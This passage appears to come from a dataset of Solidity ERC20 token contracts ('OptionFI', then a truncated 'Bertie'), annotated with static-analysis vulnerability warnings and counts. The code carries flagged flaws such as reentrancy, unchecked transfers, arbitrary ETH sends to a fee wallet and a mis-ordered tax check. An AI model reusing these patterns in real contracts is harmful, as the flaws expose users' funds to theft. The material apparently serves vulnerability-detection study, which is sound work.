"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 3263e6a): OptionFI.slitherConstructorVariables() performs a multiplication on the result of a division _maxTaxSwap = 1 * (_tTotal / 100)\n// Recommendation for 3263e6a: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 98db2f0): OptionFI.slitherConstructorVariables() performs a multiplication on the result of a division _swapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 98db2f0: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 4926b9d): OptionFI.slitherConstructorVariables() performs a multiplication on the result of a division _initialMaxTx = 1 * (_tTotal / 100)\n// Recommendation for 4926b9d: Consider ordering multiplication before division.\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 683189b): OptionFI.slitherConstructorVariables() performs a multiplication on the result of a division _initialWalletSize = 1 * (_tTotal / 100)\n// Recommendation for 683189b: Consider ordering multiplication before division.\ncontract OptionFI is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isdevWallet;\n\n mapping(address => uint256) private _stakedBalances;\n\n mapping(address => uint256) private _stakeTimestamps;\n\n address payable private _receiverFeeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6b941bc): OptionFI._initialBuyFee should be constant \n\t// Recommendation for 6b941bc: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyFee = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 178ce95): OptionFI._initialSellFee should be constant \n\t// Recommendation for 178ce95: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellFee = 25;\n\n uint256 private _finalBuyFee = 10;\n\n uint256 private _finalSellFee = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4af0f3f): OptionFI._reduceBuyFeeAt should be constant \n\t// Recommendation for 4af0f3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyFeeAt = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 24f3417): OptionFI._reduceSellFeeAt should be constant \n\t// Recommendation for 24f3417: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellFeeAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 6ca2903): OptionFI._restrictSwapBefore should be constant \n\t// Recommendation for 6ca2903: Add the 'constant' attribute to state variables that never change.\n uint256 private _restrictSwapBefore = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8e0628): OptionFI._caTransferTax should be constant \n\t// Recommendation for e8e0628: Add the 'constant' attribute to state variables that never change.\n uint256 private _caTransferTax = 0;\n\n uint256 private _caCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"OptionFI\";\n\n string private constant _symbol = unicode\"OFI\";\n\n\t// divide-before-multiply | ID: 4926b9d\n uint256 public _initialMaxTx = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 683189b\n uint256 public _initialWalletSize = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 7cc4df7): OptionFI._swapThreshold should be constant \n\t// Recommendation for 7cc4df7: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 98db2f0\n uint256 public _swapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: f71ec6f): OptionFI._maxTaxSwap should be constant \n\t// Recommendation for f71ec6f: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 3263e6a\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (immutable-states | ID: d21afb2): OptionFI.uniswapV2Router should be immutable \n\t// Recommendation for d21afb2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0342350): OptionFI.uniswapV2Pair should be immutable \n\t// Recommendation for 0342350: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private totalBuyTx = 0;\n\n uint256 private maxSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _initialMaxTx);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7f23c3c): OptionFI.constructor() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 7f23c3c: Ensure that all the return values of the function calls are used.\n constructor() {\n _receiverFeeWallet = payable(\n 0x33B34f955610D95e895d56EE78a1873e93723e5e\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _isdevWallet[owner()] = true;\n\n _isdevWallet[address(this)] = true;\n\n _isdevWallet[_receiverFeeWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// unused-return | ID: 7f23c3c\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a758e8d): OptionFI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a758e8d: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: ea1a1de): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for ea1a1de: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6640111): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6640111: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: ea1a1de\n\t\t// reentrancy-benign | ID: 6640111\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: ea1a1de\n\t\t// reentrancy-benign | ID: 6640111\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 6c6e2cc): OptionFI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 6c6e2cc: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6640111\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: ea1a1de\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 75a9a75): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 75a9a75: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d0867c6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d0867c6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (_caCount == 0) {\n taxAmount = amount\n .mul(\n (_caCount > _reduceBuyFeeAt)\n ? _finalBuyFee\n : _initialBuyFee\n )\n .div(100);\n }\n\n if (_caCount > 0) {\n taxAmount = amount.mul(_caTransferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isdevWallet[to]\n ) {\n require(amount <= _initialMaxTx, \"Exceeds the _initialMaxTx.\");\n\n require(\n balanceOf(to) + amount <= _initialWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_caCount > _reduceBuyFeeAt)\n ? _finalBuyFee\n : _initialBuyFee\n )\n .div(100);\n\n _caCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_caCount > _reduceSellFeeAt)\n ? _finalSellFee\n : _initialSellFee\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _swapThreshold &&\n _caCount > _restrictSwapBefore\n ) {\n if (block.number > maxSellBlock) {\n totalBuyTx = 0;\n }\n\n require(totalBuyTx < 4, \"Only 4 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 75a9a75\n\t\t\t\t// reentrancy-eth | ID: d0867c6\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 75a9a75\n\t\t\t\t\t// reentrancy-eth | ID: d0867c6\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: d0867c6\n totalBuyTx++;\n\n\t\t\t\t// reentrancy-eth | ID: d0867c6\n maxSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: d0867c6\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 75a9a75\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: d0867c6\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: d0867c6\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 75a9a75\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: ea1a1de\n\t\t// reentrancy-events | ID: 75a9a75\n\t\t// reentrancy-benign | ID: 6640111\n\t\t// reentrancy-eth | ID: d0867c6\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function unlockMaxWallet() external onlyOwner {\n _initialMaxTx = _tTotal;\n\n _initialWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: a9f758a): OptionFI.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _receiverFeeWallet.transfer(amount)\n\t// Recommendation for a9f758a: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: ea1a1de\n\t\t// reentrancy-events | ID: 75a9a75\n\t\t// reentrancy-eth | ID: d0867c6\n\t\t// arbitrary-send-eth | ID: a9f758a\n _receiverFeeWallet.transfer(amount);\n }\n\n function rescueEthereum() external {\n require(_msgSender() == _receiverFeeWallet);\n\n payable(_receiverFeeWallet).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3e9c0d4): OptionFI.rescueERC20(address,uint256) ignores return value by IERC20(_tokenAddr).transfer(_receiverFeeWallet,_amount)\n\t// Recommendation for 3e9c0d4: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueERC20(address _tokenAddr, uint _amount) external {\n require(_msgSender() == _receiverFeeWallet);\n\n\t\t// unchecked-transfer | ID: 3e9c0d4\n IERC20(_tokenAddr).transfer(_receiverFeeWallet, _amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8df3606): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8df3606: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: ebba631): OptionFI.startTrade() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for ebba631: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 5916f0d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 5916f0d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function startTrade() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 8df3606\n\t\t// unused-return | ID: ebba631\n\t\t// reentrancy-eth | ID: 5916f0d\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 8df3606\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 5916f0d\n tradingOpen = true;\n }\n\n function getContractETHBalance() external view returns (uint256) {\n return address(this).balance;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: d841efc): OptionFI.setTax(uint256) should emit an event for _finalBuyFee = _value _finalSellFee = _value \n\t// Recommendation for d841efc: Emit an event for critical parameter changes.\n function setTax(uint256 _value) external onlyOwner returns (bool) {\n\t\t// events-maths | ID: d841efc\n _finalBuyFee = _value;\n\n\t\t// events-maths | ID: d841efc\n _finalSellFee = _value;\n\n require(_value <= 4, \"Tax cannot exceed 5\");\n\n return true;\n }\n\n function updateReceiverFeeWallet(\n address payable newWallet\n ) external onlyOwner {\n require(newWallet != address(0), \"New wallet address cannot be zero\");\n\n _receiverFeeWallet = newWallet;\n }\n\n receive() external payable {}\n\n function clearStuckClog() external {\n require(_msgSender() == _receiverFeeWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function clearStuckEther() external {\n require(_msgSender() == _receiverFeeWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10215.sol",
"size_bytes": 22927,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function totalSupply() external view returns (uint256);\n}\n\nlibrary SafeMath {\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ncontract Bertie is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _excludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5c0d484): Bertie._initialBuyTax should be constant \n\t// Recommendation for 5c0d484: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 11eee26): Bertie._initialSellTax should be constant \n\t// Recommendation for 11eee26: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: fd9f6b2): Bertie._finalBuyTax should be constant \n\t// Recommendation for fd9f6b2: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5804698): Bertie._finalSellTax should be constant \n\t// Recommendation for 5804698: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5084f01): Bertie._reduceBuyTaxAt should be constant \n\t// Recommendation for 5084f01: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5864981): Bertie._reduceSellTaxAt should be constant \n\t// Recommendation for 5864981: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3bc754c): Bertie._preventSwapBefore should be constant \n\t// Recommendation for 3bc754c: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Bertie\";\n\n string private constant _symbol = unicode\"Bertie\";\n\n uint256 public _maxTxAmount = 15000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 15000000 * 10 ** _decimals;\n\n uint256 public constant _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n uint256 public constant _maxTaxSwap = 8000000 * 10 ** _decimals;\n\n address payable private constant _taxWallet =\n payable(0x08E7B99d43F05B53A0dE48c8Fd0F61AB32F60ca7);\n\n IUniswapV2Router02 private immutable uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: c75b693): Bertie.plsLimit should be constant \n\t// Recommendation for c75b693: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: ad762af): Bertie.plsLimit is never initialized. It is used in Bertie._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for ad762af: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private plsLimit;\n\n struct PoolMetaInfo {\n uint256 plsAmount;\n uint256 blsAmount;\n uint256 tpPercent;\n }\n\n mapping(address => PoolMetaInfo) private poolMetaInfo;\n\n uint256 private plsPairAmount;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _balances[_msgSender()] = _tTotal;\n\n _excludedFromFee[_taxWallet] = true;\n\n _excludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 31b2d70): Bertie.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 31b2d70: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 789f86e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 789f86e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8336103): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8336103: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 789f86e\n\t\t// reentrancy-benign | ID: 8336103\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 789f86e\n\t\t// reentrancy-benign | ID: 8336103\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d82f493): Bertie._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for d82f493: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8336103\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 789f86e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 6759628): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 6759628: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1af2e43): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1af2e43: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 3a50703): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 3a50703: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, 